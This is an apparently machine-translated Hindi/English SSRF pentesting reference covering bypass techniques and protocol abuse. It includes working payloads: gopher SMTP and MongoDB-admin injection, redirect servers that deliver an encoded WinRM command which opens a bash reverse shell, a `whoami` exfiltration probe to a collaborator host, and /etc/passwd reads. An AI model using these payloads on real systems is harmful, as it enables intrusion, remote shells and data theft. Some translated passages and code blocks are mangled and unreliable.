SSRF (Server Side Request Forgery)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

एक Server-side Request Forgery (SSRF) कमजोरी तब होती है जब कोई अटैककर्ता किसी सर्वर-साइड एप्लिकेशन को इस तरह नियंत्रित कर देता है कि वह उसके चुने हुए डोमेन पर HTTP requests भेजे। यह कमजोरी सर्वर को अटैककर्ता द्वारा निर्देशित मनमाने बाहरी अनुरोधों के लिए उजागर कर देती है।

Capture SSRF

सबसे पहले आपको अपनी ओर से उत्पन्न SSRF इंटरैक्शन को कैप्चर करना होगा। HTTP या DNS इंटरैक्शन कैप्चर करने के लिए आप इन टूल्स का उपयोग कर सकते हैं:

Whitelisted Domains Bypass

आमतौर पर आप पाएँगे कि SSRF केवल कुछ whitelisted domains या URL में ही काम करता है। नीचे दिए गए पृष्ठ पर आपको उस whitelist को बायपास करने की तकनीकों का संकलन मिलेगा:

URL Format Bypass

Bypass via open redirect

अगर सर्वर सही तरीके से प्रोटेक्ट किया गया है तो आप वेब पेज के अंदर मौजूद किसी Open Redirect का फायदा उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेबपेज उसी डोमेन पर SSRF की अनुमति देगा और संभवतः follow redirects करेगा, आप Open Redirect का उपयोग करके सर्वर को किसी भी internal resource तक पहुँचने के लिए मजबूर कर सकते हैं।
Read more here: https://portswigger.net/web-security/ssrf

Protocols

  • file://
  • URL स्कीम file:// का जिक्र किया गया है, जो सीधे /etc/passwd की ओर इशारा करती है: file:///etc/passwd
  • dict://
  • DICT URL स्कीम का उपयोग DICT प्रोटोकॉल के माध्यम से definitions या शब्द-सूचियों तक पहुँचने के लिए किया जाता है। उदाहरण में एक URL दिखाया गया है जो किसी विशेष word, database, और entry number को लक्षित करता है, साथ ही एक PHP स्क्रिप्ट का उदाहरण दिया गया है जो अटैककर्ता-प्रदान की गई credentials का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए दुरुपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • यह secure shell पर secure file transfer के लिए उपयोग होने वाले प्रोटोकॉल के रूप में पहचाना गया है; एक उदाहरण दिखाया गया है जो बताता है कि कैसे एक PHP स्क्रिप्ट का दुरुपयोग करके malicious SFTP सर्वर से कनेक्ट किया जा सकता है: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, जो UDP पर चलता है, का उल्लेख किया गया है और एक PHP स्क्रिप्ट का उदाहरण दिया गया है जो TFTP सर्वर को अनुरोध भेजती है। एक TFTP अनुरोध ‘generic.com’ पर पोर्ट ‘12346’ के लिए फ़ाइल ‘TESTUDPPACKET’ के लिए किया गया है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • यह खंड Lightweight Directory Access Protocol को कवर करता है, और IP नेटवर्क पर वितरित डायरेक्टरी जानकारी सेवाओं के प्रबंधन और एक्सेस के लिए इसके उपयोग पर जोर देता है। लोकलहोस्ट पर LDAP सर्वर के साथ इंटरैक्ट करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • एक तरीका बताया गया है जिससे SSRF कमजोरियों का दुरुपयोग करके लोकलहोस्ट पर SMTP सेवाओं के साथ इंटरैक्ट किया जा सकता है, जिसमें आंतरिक डोमेन नामों का खुलासा करने के कदम और उस जानकारी के आधार पर आगे की जाँच के कार्य शामिल हैं।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक फीचर होता है जो WAFs को बाईपास करने में उपयोगी हो सकता है। उदाहरण के लिए इस writeup में आप path traversal via file protocol का यह उदाहरण पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher protocol की यह क्षमता कि यह server से संचार के लिए IP, port और bytes निर्दिष्ट कर सकता है, और payloads बनाने के लिए Gopherus और remote-method-guesser जैसे tools का उल्लेख किया गया है। दो अलग-अलग उपयोग दर्शाए गए हैं:

Gopher://

इस protocol का उपयोग करके आप वह IP, port and bytes निर्दिष्ट कर सकते हैं जिन्हें आप server से send कराना चाहते हैं। फिर, आप मूलतः एक SSRF का उपयोग करके किसी भी TCP server से communicate कर सकते हैं (लेकिन पहले आपको service से बात करने का तरीका पता होना चाहिए)।
सौभाग्य से, आप Gopherus का उपयोग कई services के लिए payloads बनाने के लिए कर सकते हैं। अतिरिक्त रूप से, remote-method-guesser का उपयोग gopher payloads Java RMI services के लिए बनाने में किया जा सकता है।

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – username=admin और password=admin123 तथा permission=administrator के साथ उपयोगकर्ता बनाएं

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

सर्वरों पर मौजूद एनालिटिक्स सॉफ़्टवेयर अक्सर आने वाले लिंक ट्रैक करने के लिए Referrer header को लॉग करता है, एक ऐसा व्यवहार जो अनजाने में applications को Server-Side Request Forgery (SSRF) कमजोरियों के लिए उजागर कर देता है। ऐसा इसलिए होता है क्योंकि ऐसा सॉफ़्टवेयर Referrer header में उल्लिखित external URLs पर जाकर referral साइट की सामग्री का विश्लेषण कर सकता है। इन कमजोरियों का पता लगाने के लिए Burp Suite plugin “Collaborator Everywhere” का उपयोग सुझाया जाता है, जो एनालिटिक्स टूल्स द्वारा Referer header को प्रोसेस करने के तरीके का लाभ उठाकर संभावित SSRF attack surfaces की पहचान करता है।

SSRF via SNI data from certificate

एक गलत कॉन्फ़िगरेशन जो एक सरल सेटअप के जरिए किसी भी backend से कनेक्शन सक्षम कर सकती है, नीचे दिए गए उदाहरण Nginx configuration में दिखाया गया है:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

इस कॉन्फ़िगरेशन में, Server Name Indication (SNI) फ़ील्ड का मान सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप Server-Side Request Forgery (SSRF) के लिए एक भेद्यता उजागर करता है, जिसका फायदा केवल SNI फ़ील्ड में इच्छित IP पता या डोमेन नाम निर्दिष्ट कर के उठाया जा सकता है। एक शोषण उदाहरण, जो openssl कमांड का उपयोग करके किसी मनमाने बैकएंड जैसे internal.host.com से कनेक्शन जबरदस्ती स्थापित करने का तरीका दिखाता है, नीचे दिया गया है:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

कुछ TLS स्टैक्स peer certificate के अंदर मौजूद Authority Information Access (AIA) → CA Issuers URI का उपयोग करके missing intermediate CAs को स्वतः डाउनलोड कर लेते हैं। In Java, mTLS सर्विस चलाते समय -Dcom.sun.security.enableAIAcaIssuers=true सक्षम करने पर सर्वर क्लाइंट सर्टिफिकेट से attacker-controlled URIs को during the handshake dereference कर देता है, HTTP लॉजिक शुरू होने से पहले।

  • Requirements: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
  • Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java certpath debug output में CertStore URI:http://localhost:8080 दिखता है, और nc HTTP request को कैप्चर करता है जिसमें -Dhttp.agent से नियंत्रित User-Agent होता है, जो certificate validation के दौरान SSRF साबित करता है।

  • DoS via file://: Unix-like होस्ट्स पर AIA CA Issuers को file:///dev/urandom पर सेट करने से Java उसे एक CertStore की तरह ट्रीट करता है और अनबाउंडेड random bytes पढ़ता है, जिससे एक CPU core व्यस्त रहता है और क्लाइंट disconnect होने के बाद भी subsequent connections ब्लॉक हो जाते हैं।

SSRF via CSS Pre-Processors

LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। Compilation के दौरान LESS engine @import statements में refer किए गए resources को fetch करता है और (inline) option इस्तेमाल होने पर उनके contents को resulting CSS में embed (“inline”) कर देता है।

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

ऐसा payload आज़माने लायक हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

यदि web page स्वतः ही आपके द्वारा प्रदान की गई कुछ जानकारी से PDF बना रहा है, तो आप कुछ JS insert कर सकते हैं जिसे PDF creator (server) खुद PDF बनाते समय execute करेगा और आप SSRF का दुरुपयोग कर पाएँगे। Find more information here.

From SSRF to DoS

कई sessions बनाएं और sessions से SSRF का उपयोग करके भारी फाइलें download करने की कोशिश करें।

SSRF PHP Functions

निम्न पेज देखें जहाँ vulnerable PHP और यहां तक कि Wordpress functions की जानकारी है:

PHP SSRF

SSRF Redirect to Gopher

कुछ exploitations में आपको send a redirect response की आवश्यकता पड़ सकती है (संभावनात्मक रूप से किसी अलग प्रोटोकॉल जैसे gopher का उपयोग करने के लिए)। यहाँ अलग-अलग python codes दिए गए हैं जो redirect के साथ respond करते हैं:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

SSRF के लिए गलत कॉन्फ़िगर किए गए proxies

ट्रिक्स from this post.

Flask

Flask proxy vulnerable code ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask प्रारंभिक वर्ण के रूप में **`@`** का उपयोग करने की अनुमति देता है, जिससे आप **initial host name the username** बना सकते हैं और एक नया host inject कर सकते हैं। Attack request:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

कमज़ोर कोड:

यह पाया गया कि request के start the path को करैक्टर ; से शुरू किया जा सकता है, जिससे बाद में @ का उपयोग करके नया host इंजेक्ट कर access प्राप्त किया जा सकता है। Attack request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP बिल्ट-इन वेब सर्वर

असुरक्षित PHP कोड ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP URL के path में **स्लैश से पहले char `*` का उपयोग** करने की अनुमति देता है, हालांकि इसकी कुछ सीमाएँ हैं — जैसे कि यह केवल रूट pathname `/` के लिए ही उपयोग किया जा सकता है और पहले स्लैश से पहले dots `.` की अनुमति नहीं है, इसलिए उदाहरण के लिए dotless-hex encoded IP address का उपयोग करना आवश्यक होता है:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse proxies जो absolute-form request lines स्वीकार करते हैं (open forward-proxy)

Some reverse proxies भी absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) स्वीकार करते हैं और URL को जैसा है वैसा backend को फॉरवर्ड कर देते हैं, इसे reject करने या configured upstream पर rewrite करने के बजाय। इससे reverse proxy एक pre-auth forward proxy with full-read SSRF बन जाता है, और यह उन localhost-bound सेवाओं तक भी पहुँच देता है जो सामान्यतः Internet से unreachable होती हैं।

Key points:

  • Request line controls destination: absolute URL में authority सामान्य routing को override कर देता है; Host header आम तौर पर ignored रहता है।
  • Full response returned: आंतरिक hosts से responses stream होकर वापस आती हैं, इसलिए आप enumerate और interact कर सकते हैं (e.g., SOAP/Axis2, Keycloak, admin consoles) बजाय blind-probing के।
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n पर्याप्त है ताकि loopback-only listeners को हिट किया जा सके।
  • Abuse as pivot: अन्य vulns (e.g., upload endpoints) के साथ combine करके intra-host services तक पहुँचा जा सकता है।

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

If you see the upstream response instead of a 400, the appliance is acting as an open proxy.

DNS Rebidding CORS/SOP bypass

यदि आपको problems हो रही हैं और आप exfiltrate content from a local IP करने में सक्षम नहीं हैं क्योंकि CORS/SOP है, तो उस सीमा को बायपास करने के लिए DNS Rebidding का उपयोग किया जा सकता है:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin is a tool to perform DNS rebinding attacks. इसमें attack server DNS नाम के IP address को target machine के IP address पर rebind करने और target machine पर vulnerable software को exploit करने के लिए attack payloads serve करने के आवश्यक components शामिल हैं।

Check out also the publicly running server in http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. उपयोगकर्ता/bot से अनुरोध करें कि वह attacker द्वारा नियंत्रित किसी domain को access करे
  2. The TTL of the DNS is 0 sec (ताकि victim जल्द ही उस domain के IP को फिर से चेक करे)
  3. victim और attacker के domain के बीच एक TLS connection स्थापित होता है। attacker payload inside को Session ID or Session Ticket में डालता है।
  4. वह domain अपने ही खिलाफ redirects का एक infinite loop शुरू कर देगा। इसका उद्देश्य user/bot को तब तक उस domain को access कराना है जब तक वह again एक DNS request न करे।
  5. DNS request में now एक private IP address दिया जाता है (127.0.0.1 for example)
  6. user/bot reestablish the TLS connection करने की कोशिश करेगा और ऐसा करने के लिए यह send करेगा Session ID/Ticket ID (जिसमें attacker का payload मौजूद था)। तो बधाई हो, आपने user/bot attack himself करवाना managed कर लिया।

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Blind SSRF और non-blind SSRF के बीच अंतर यह है कि blind में आप SSRF request की response नहीं देख सकते। इसलिए यह exploit करना अधिक कठिन है क्योंकि आप केवल well-known vulnerabilities ही exploit कर पाएँगे।

Time based SSRF

Checking the time of the responses from the server यह बता सकता है कि possible to know if a resource exists or not (शायद किसी मौजूद resource को access करने में उस resource के न होने की तुलना में अधिक समय लगे)

From blid to full abusing status codes

According to this blog post, कुछ blind SSRF इसलिए हो सकते हैं क्योंकि भले ही targeted URL 200 status code के साथ प्रतिक्रिया दे (जैसे AWS metadata), यह डेटा सही ढंग से formatted नहीं होता और इसलिए app इसे दिखाने से इंकार कर सकती है।

हालाँकि, पाया गया है कि SSRF में कुछ redirect responses (305 से 309) भेजने पर application को ये redirects follow these redirects while entering an error mode करवा पाना संभव हो सकता है, जो अब डेटा के format की जांच नहीं करेगा और उसे बस print कर देगा।

The python server used to exploit this is th following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

कदम:

  • सबसे पहले 302 ऐप को follow करना शुरू करवा देता है।
  • फिर यह 305 → 306 → 307 → 308 → 309 → 310 प्राप्त करता है।
  • पाँचवीं अजीब कोड के बाद PoC अंततः 302 → 169.254.169.254 → 200 OK लौटाता है।

What happens inside the target:

  • libcurl खुद 305–310 को follow करता है; यह बस अज्ञात codes को “follow.” के रूप में सामान्यीकृत कर देता है।
  • N अजीब redirects (यहाँ ≥ 5) के बाद application का अपना wrapper तय करता है कि “कुछ गड़बड़ है” और debugging के लिए बने error mode में switch कर देता है।
  • उस mode में यह पूरी redirect chain और अंतिम body को बाहरी caller को dump कर देता है।
  • Result: attacker हर header + metadata JSON देख लेता है, mission accomplished.

ध्यान दें कि यह उन status codes को leak करने के लिए रोचक है जिन्हें आप पहले leak नहीं कर सकते थे (जैसे 200). हालांकि, अगर किसी तरह आप response का status code भी चुन सकते हैं (कल्पना करें कि आप तय कर सकते हैं कि AWS metadata 500 status code के साथ response दे), ऐसे कुछ status codes हो सकते हैं जो सीधे response की सामग्री को leak कर देंगे।

HTML-to-PDF renderers को blind SSRF gadgets के रूप में

Libraries such as TCPDF (and wrappers like spipu/html2pdf) स्वतः उन किसी भी URLs को fetch कर लेंगी जो attacker-controlled HTML में मौजूद हों जब PDF render किया जा रहा हो। प्रत्येक <img> या <link rel="stylesheet"> attribute server-side पर cURL, getimagesize(), या file_get_contents() के माध्यम से resolve किया जाता है, इसलिए आप PDF worker को internal hosts की probe करने के लिए चला सकते हैं भले ही कोई HTTP response आपको वापस reflect न हो।

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 प्रत्येक <img> resource के लिए कई retrieval attempts जारी करता है, इसलिए एक single payload कई requests जनरेट कर सकता है (timing-based port scans के लिए उपयोगी)।
  • html2pdf <img> के लिए TCPDF के व्यवहार की नकल करता है और Css::extractStyle() के अंदर CSS fetching जोड़ता है, जो एक सतही scheme check के बाद सिर्फ file_get_contents($href) कॉल करता है। इसे abuse करके loopback services, RFC1918 ranges, या cloud metadata endpoints पर hit करें।
  • इस SSRF primitive को HTML-to-PDF path traversal tricks के साथ combine करें ताकि आप दोनों internal HTTP responses और PDF में रेंडर की गई local files को leak कर सकें।

Hardeners को रेंडरिंग से पहले external URLs को strip करना चाहिए या renderer को network sandbox में isolate करना चाहिए; तब तक PDF generators को blind SSRF proxies की तरह मानें।

Cloud SSRF Exploitation

